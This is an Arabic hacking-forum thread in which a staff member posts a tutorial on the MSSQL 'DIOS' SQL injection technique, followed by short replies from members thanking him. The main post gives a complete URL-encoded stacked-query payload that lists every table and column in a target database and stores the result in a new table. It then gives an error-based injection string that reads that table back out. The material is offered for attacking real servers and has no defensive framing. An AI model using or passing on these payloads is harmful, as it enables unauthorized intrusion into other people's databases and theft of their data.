شرح جديد لأول مرة في حقن سيرفرات ويندوز الـ 2018 MSSQL DIOS Technique

الموضوع في '[ SQL-injection ]' بواسطة Ahmed El Melegy, بتاريخ ‏9 أغسطس 2017.

كاتب الموضوع : Ahmed El Melegy المشاهدات : 609 الردود : 11 ‏9 أغسطس 2017
  1. غير متصل

    Ahmed El Melegy InjectorBoy
    طاقم الإدارة

    عضو منذ:
    ‏24 يوليو 2017
    عدد المشاركات:
    الإعجابات المتلقاة:
    200
    نقاط الجائزة:
    الجنس:
    ذكر
    الإقامة:

    [​IMG]

    شرح جديد لأول مرة في حقن سيرفرات ويندوز

    الـ MSSQL DIOS Technique

    الماس ديوس : هي تقنية إستخلاص كافة بيانات الجداول والأعمدة الخاصة بها فى أمر واحد مباشر بدون أي عملية حقن


    الإستعلامات المٌستخدمة أثناء الشرح


    The DIOS Table


    كود:
    ;begin declare @x varchar(8000),@y int,@z varchar(50),@a varchar(100) declare @myTbl table (name varchar(8000) not null)SET @y=1 SET @x='injected by Me :: '%2b@@version%2b CHAR(60)%2bCHAR(98)%2bCHAR(114)%2bCHAR(62)%2b'Database : '%2bdb_name()%2b CHAR(60)%2bCHAR(98)%2bCHAR(114)%2bCHAR(62) SET @z='' SET @a='' WHILE @y<=(SELECT COUNT(table_name) from INFORMATION_SCHEMA.TABLES) begin SET @a='' Select @z=table_name from INFORMATION_SCHEMA.TABLES where TABLE_NAME not in (select name from @myTbl)select @a=@a %2b column_name%2b' : 'from INFORMATION_SCHEMA.COLUMNS where TABLE_NAME=@z insert @myTbl values(@z) SET @x=@x %2bCHAR(60)%2bCHAR(98)%2bCHAR(114)%2bCHAR(62)%2b'Table: '%2b@z%2b CHAR(60)%2bCHAR(98)%2bCHAR(114)%2bCHAR(62)%2b'Columns : '%2b@a%2b CHAR(60)%2bCHAR(98)%2bCHAR(114)%2bCHAR(62)SET @y = @y%2b1 end select @x as output into BlackRose END--

    OutPut Data


    كود:
    +and+1=convert(int,(select+top+1+output+from+BlackRose))--

    كود:
    output
    
    +from+BlackRose


    مشاهدة مٌمتعه


     


    Egy HacKerS ،~.O M A R.~ ،Hacker-X و 4آخرون معجبون بهذا.
    جاري تحميل الصفحة...
  2. غير متصل

    Mohmaed .:: super ::.
    V • I • P

    عضو منذ:
    ‏12 ابريل 2015
    عدد المشاركات:
    الإعجابات المتلقاة:
    944
    نقاط الجائزة:
    الجنس:
    ذكر
    الإقامة:

    24

    استمر يا وحش
    لا تحرمنا من جديدك
    يستحق الوشم
     


    أعجب بهذه المشاركة Ahmed El Melegy
  3. غير متصل

    E w i l O s
    ExpErt DeveloPer

    عضو منذ:
    ‏25 فبراير 2017
    عدد المشاركات:
    الإعجابات المتلقاة:
    163
    نقاط الجائزة:
    الجنس:
    ذكر
    الإقامة:

    طرحت فابدعت...اخي الكريم…
    دمت ودام عطاؤك
    ودائما بانتظار جديدك الشيق
     


    أعجب بهذه المشاركة Ahmed El Melegy
  4. غير متصل

    HaCkEr
    rank
    Developer

    عضو منذ:
    ‏11 نوفمبر 2011
    عدد المشاركات:
    الإعجابات المتلقاة:
    3
    نقاط الجائزة:

    مشكوووور ويعطيك على قد نيتكـ

    وجعلها في ميزان حسناتك
     


    أعجب بهذه المشاركة Ahmed El Melegy
  5. غير متصل

    SCENARIO Developer

    عضو منذ:
    ‏2 يوليو 2017
    عدد المشاركات:
    الإعجابات المتلقاة:
    254
    نقاط الجائزة:
    الجنس:
    ذكر
    الإقامة:

    1

    مشكور على جهودك المبذوله
     


    أعجب بهذه المشاركة Ahmed El Melegy
  6. غير متصل

    (أوسكار)
    rank
    Developer

    عضو منذ:
    ‏5 نوفمبر 2012
    عدد المشاركات:
    الإعجابات المتلقاة:
    3
    نقاط الجائزة:

    مشكور على جهودك

    كم انت كبير i!q (1.,_)2)
     


    أعجب بهذه المشاركة Ahmed El Melegy
  7. غير متصل

    Egy HacKerS
    DeveloPer Plus

    عضو منذ:
    ‏1 ديسمبر 2012
    عدد المشاركات:
    الإعجابات المتلقاة:
    19
    نقاط الجائزة:
    الوظيفة:
    HacKer
    الإقامة:

    بارك الله فيك وجزاك خيرا ايها الطيب
     


    أعجب بهذه المشاركة Ahmed El Melegy
  8. غير متصل

    ~.O M A R.~
    rankrank
    Developer

    عضو منذ:
    ‏16 يوليو 2012
    عدد المشاركات:
    الإعجابات المتلقاة:
    4
    نقاط الجائزة:
    الإقامة:

    كفوِ عليكُ آخوىُ ، يسسلمُ ألأيآدىُ t34:"{_
     


    أعجب بهذه المشاركة Ahmed El Melegy
  9. غير متصل

    Hacker-X
    Developer

    عضو منذ:
    ‏9 ابريل 2012
    عدد المشاركات:
    الإعجابات المتلقاة:
    2
    نقاط الجائزة:
    الإقامة:

    شكرا لك يا غالي
     


    أعجب بهذه المشاركة Ahmed El Melegy
  10. غير متصل

    Ahmed El Melegy InjectorBoy
    طاقم الإدارة

    عضو منذ:
    ‏24 يوليو 2017
    عدد المشاركات:
    الإعجابات المتلقاة:
    200
    نقاط الجائزة:
    الجنس:
    ذكر
    الإقامة:

    أهلا بالشباب استمتع بمروركم الطيب
     


مشاركة هذه الصفحة

جاري تحميل الصفحة...